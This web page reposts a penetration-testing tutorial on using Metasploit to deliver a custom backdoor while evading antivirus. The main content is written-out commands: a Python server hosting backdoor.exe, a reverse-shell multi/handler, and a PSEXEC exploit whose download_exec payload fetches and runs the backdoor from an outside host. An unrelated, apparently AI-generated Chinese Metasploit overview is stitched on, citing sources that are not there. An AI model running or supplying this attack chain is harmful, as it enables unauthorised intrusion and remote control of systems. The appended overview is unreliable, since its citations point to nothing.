Metasploit - Custom Payloads

本文详细介绍了如何使用Metasploit创建、部署和执行自定义payload,包括构建payload、设置网站用于下载、配置多用途handler、选择合适的payload类型及参数,并通过PSEXEC进行payload的交付和执行过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

You launch your Metasploit exploit. It looks like it is working but no session is created. What happened? Your exploit just got popped by antivirus software. Such a bummer. Antivirus software is a hurdle that you have to overcome as a penetration tester, modeling the techniques of the real-world bad guys. The best way to avoid antivirus software is to stop using a payload that someone else created. Time and time again, penetration testers find they have a basic need to use custom payloads.

Createyour own custom payload, and then you won’t have to worry about an AV signature catching your payload and eating it! It is easy and it gives you the flexibility to go after any target. There are lots of tools and articles for helping you doing so, including the Veil framework.

So you build your own custom payload, now what? How do you operationalize your payload? How do you deliver it to a target and execute it? There are lots of ways to deliver a custom payload, but I’ll cover one of the easiest and most flexible options here.

Metasploit’s Download/Exec Payload is a great option for delivering a custom payload to a target. You can use it with most of Metasploit’s exploits including memory corruption exploits, misconfiguration exploits, and authenticated attacks like PSEXEC. This flexibility means with this Metasploit payload, you can use your custom payload with the Meterpreter.

To use the Download/Exec payload, you will need to do three things. First, you’ll need a website from which the victim can download your custom backdoor. Second, you will need to setup a Metasploit handler to receive the connection from your custom backdoor. Lastly, you’ll need an exploit to deliver your custom payload. Let’s take a look at each of the steps.


A website to provide the “Download” in the Download/Exec payload

You have lots of options for a website to deliver you payloads. Anytime I need a “quick and easy” website I use Python. The first step to staring the Python web server is to change to the directory that contains the files you want to make available for download. Then the command “python —m ‘SimpleHTTPServer’ ” can be used to start a web server. The files in that directory can then be downloaded using any web browser. You can setup this server on any computer that has Python installed. Here, I’ve started a web server listening on port 8000. When the exploit runs you’ll see the download being logged by your web server. Here you can see the victim 10.1.1.170 downloading a copy of “pythonbackdoor.exe”.

[nixawk@core ~]$ python -m 'SimpleHTTPServer' 8000
Serving HTTP on 0.0.0.0 port 8000 ...

Start a handler to receive your shell

Starting the multi/handler requires a few simple commands. First is “use multi/handler”. Next, set your payload to one that is compatible with the custom payload you created. If your payload contains meterpreter then you will “set payload windows/meterpreter/reverse_tcp”. If it is a command prompt then you would type “set payload windows/shell/reverse_tcp”. Since my Python backdoor sends a command prompt, the correct payload here is “windows/shell/reverse_tcp”. This “single” payload doesn’t use a stager and expect a connection from a shell. Do not confuse this with the “windows/shell_reverse_tcp” since “windows/shell_reverse_tcp” is expecting a connection from a stager not a shell. Setting LPORT to 0.0.0.0 will cause Metasploit to listen on all the network addresses on your host. This is a good shortcut from single payloads but it is not a good idea to use this for staged payloads. Some stagers, for example /*/reverse_http, will require that you have an actual routed address so that the stager knows where to download the next stage. Finally, set your LPORT to the port your custom payload is hardcoded to connect to. In this example, my payload is set to send a command prompt to port 80. Finally, you’ll need to start the multi-handler but our work in Metasploit is still not finished. You’ll also need to start your multi-handler as a background task. To do this, the “-j” options to the exploit command will start the multi-handler as a “job” that runs in the background.

msf > use multi/handler
msf exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     0.0.0.0          yes       The listen address
   LPORT     80               yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

Exploit the target and deliver the payload

With your handler in the background waiting to receive a connection, you’re ready to exploit the target. Just about any exploit could be used, but remembering my Penetration Tester’s Pledge,I’ll use PSEXEC. First, I use “windows/smb/psexec” and set it up with the correct username and password for the target. Then I set my payload by typing “set PAYLOAD download/exec”. The options are pretty simple. You set the URL to point to the custom payload on the web server that you setup in step 1. You can change the name of the file that will be saved to the target if you like.

msf exploit(psexec) > show options 

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOST                 192.168.1.100    yes       The target address
   RPORT                 445              yes       Set the SMB service port
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             WORKGROUP        no        The Windows domain to use for authentication
   SMBPass               testpass         no        The password for the specified username
   SMBUser               testuser         no        The username to authenticate as


Payload options (windows/download_exec):

   Name      Current Setting                             Required  Description
   ----      ---------------                         --------  -----------
   EXE       backdoor.exe                            yes       Filename to save & run executable on target system
   EXITFUNC  process                                 yes       Exit technique (accepted: seh, thread, process, none)
   URL       http://192.168.1.108:8000/backdoor.exe  yes       The pre-encoded URL to the executable


Exploit target:

   Id  Name
   --  ----
   0   Automatic

When you type “exploit” you will see it download from your website and a shell will appear in your handler. Game On. Let the pivots begin.


References:

  1. custom payloads in metasploit
### Metasploit 的简介与使用指南 #### 安装 Metasploit Metasploit 可以通过多种方式安装,具体取决于操作系统的选择。以下是针对不同平台的安装方法: - **在 Termux 中安装 Metasploit**: 如果您计划在 Android 设备上的 Termux 应用程序中安装 Metasploit,则可以参考该项目地址中的说明[^1]。该指南提供了详细的步骤来完成安装过程。 - **在 Ubuntu 上安装 Metasploit**: 针对基于 Linux 的系统(如 Ubuntu),可以通过官方文档或者社区贡献的脚本来实现快速部署。对于 Ubuntu 18.04 LTS 用户而言,推荐的方法是采用自动化脚本简化配置流程[^5]。如果不想依赖 Rapid7 提供的服务,也可以手动编译源码构建自定义版本。 #### 基础命令介绍 掌握一些基础命令有助于初学者更好地理解如何操作 Metasploit 框架: - `show` 命令用于展示不同类型的功能模块列表,比如可用的 exploit 和 payload 列表等[^2]: ```bash msfconsole> show exploits msfconsole> show payloads ``` - 使用 `search` 来查找特定条件下的模块或功能: ```bash msfconsole> search type:exploit platform:windows ``` #### 渗透测试实践注意事项 当运用 Metasploit 执行实际场景下的渗透测试活动时,请务必遵循法律规范并保持职业道德标准[^3]: - 确保已得到目标系统的正式许可再开展任何类型的评估工作。 - 测试完成后需提交详尽的结果分析报告给客户方知晓潜在风险状况及其缓解措施方案。 #### 学习资料获取途径 为了深入学习有关 Metasploit 技术知识,《Metasploit渗透测试指南(全).pdf》是一份非常有价值的参考资料[^4]。它涵盖了从入门到高级的各种主题讲解,适合不同程度的学习者查阅研究。 ```python # 示例 Python 脚本片段演示如何调用 subprocess 模块启动 MSFConsole import subprocess subprocess.run(["msfconsole"]) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值